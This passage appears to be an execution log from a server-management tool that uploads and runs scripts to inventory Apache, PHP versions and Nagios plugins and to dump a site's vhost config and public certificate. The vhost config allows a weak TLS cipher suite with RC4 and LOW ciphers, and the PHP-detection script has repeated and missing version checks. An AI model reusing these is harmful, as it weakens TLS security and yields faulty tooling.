	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-07 14:47:43: 

chmod 755 /tmp/pkp787437; /tmp/pkp787437; rm /tmp/pkp787437

2026-05-07 14:47:44: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-05-05T13:22:45
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 3600147
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root     3600147  0.0  0.2 324412 39692 ?        Ss   06:49   0:01 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-05-07 14:47:44: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2026-05-07 14:47:44: 

PUT: /tmp/pkp832864

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-07 14:47:44: 

chmod 755 /tmp/pkp832864; /tmp/pkp832864; rm /tmp/pkp832864

2026-05-07 14:47:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-07 14:47:45: 

PUT: /tmp/pkp216507

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-07 14:47:45: 

chmod 755 /tmp/pkp216507; /tmp/pkp216507; rm /tmp/pkp216507

2026-05-07 14:47:46: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=
[php8.1]
php=/usr/bin/php8.1
fpm=
version=
[php8.3]
php=/usr/bin/php8.3
fpm=
version=
[php8.3]
php=/usr/bin/php8.3
fpm=
version=
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20




STDERR:
/tmp/pkp216507: line 96: /usr/bin/php8.1: No such file or directory
/tmp/pkp216507: line 105: /usr/bin/php8.1: No such file or directory
/tmp/pkp216507: line 132: /usr/bin/php8.3: No such file or directory
/tmp/pkp216507: line 141: /usr/bin/php8.3: No such file or directory


2026-05-07 14:47:46: 

PUT: /tmp/pkp300494

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-07 14:47:47: 

chmod 755 /tmp/pkp300494; /tmp/pkp300494; rm /tmp/pkp300494

2026-05-07 14:47:47: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2026-05-07 14:47:47: 

PUT: /tmp/pkp123412

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-05-07 14:47:48: 

chmod 755 /tmp/pkp123412; /tmp/pkp123412; rm /tmp/pkp123412

2026-05-07 14:47:48: 


status=ok


2026-05-07 14:47:48: 

PUT: /tmp/pkp597055

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:47:48: 

chmod 755 /tmp/pkp597055; /tmp/pkp597055; rm /tmp/pkp597055

2026-05-07 14:47:48: 
2026-05-07 14:47:48: 

PUT: /tmp/pkp739359

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')
    show_file('/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:47:49: 

chmod 755 /tmp/pkp739359; /tmp/pkp739359; rm /tmp/pkp739359

2026-05-07 14:47:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	1471
<VirtualHost *:80>
    ServerName  youngrepairs.com
    ServerAdmin do_not_email@example.com
    ServerAlias www.youngrepairs.com
    DocumentRoot        /var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Order   allow,deny
        allow   from all
    </Directory>

    CustomLog   /var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog    /var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid      4
    SetEnv pkp_owner    phil

    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName  youngrepairs.com
    ServerAdmin do_not_email@example.com
    ServerAlias www.youngrepairs.com
    SSLEngine   on
    SSLProtocol all -SSLv2
    SSLCipherSuite      ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile  /etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot        /var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Order   allow,deny
        allow   from all
    </Directory>

    CustomLog   /var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog    /var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid
    SetEnv pkp_owner

</VirtualHost>




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt	5349
53:91:60:c5:da:ec:8e:9b:28:e0:6a:aa:fc:dc:a0:01

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBSumZ2fJPMVD6v3pNyr+nMu0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI5MTg1MzMwWhcNMjYwNzI4MTg1MzI5WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEApP7Oy1LWkDLhmgK9vw/IDbVWEDZgRmVP4Httf/JkPEefhOi6K+QFIId8IMxK
tCfLwalvC3RrNlftZMhbYfc+dYbl4GDSALm/8wR4CKGr3XNEir64ZSDpeI/UpHlV
/VX64rzAUBdLkuV/dvm4I2I40G+Cmh060uQZnijyTRCRYvGUADGxlf+U7I2dct8i
UjOIGenOVaOCL664ilfioPmJMjthZHFKx7NhjDNQppQciocB9CjIvhI/Ox/2guvz
Nag2Sncx0GOcpAuWM/TQ79i7R0Dpn2VAcGQDDLZuThrkJPfldRdkhHrIMRASK2He
3/VrOTt+Wbj9DOwloMLw39H/PQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFO3v
FNBq4uJI5P3NxnS6X7MgINz0MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQeW91bmdyZXBhaXJzLmNvbTATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzUzLmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AMIxfldFGaNF7n84
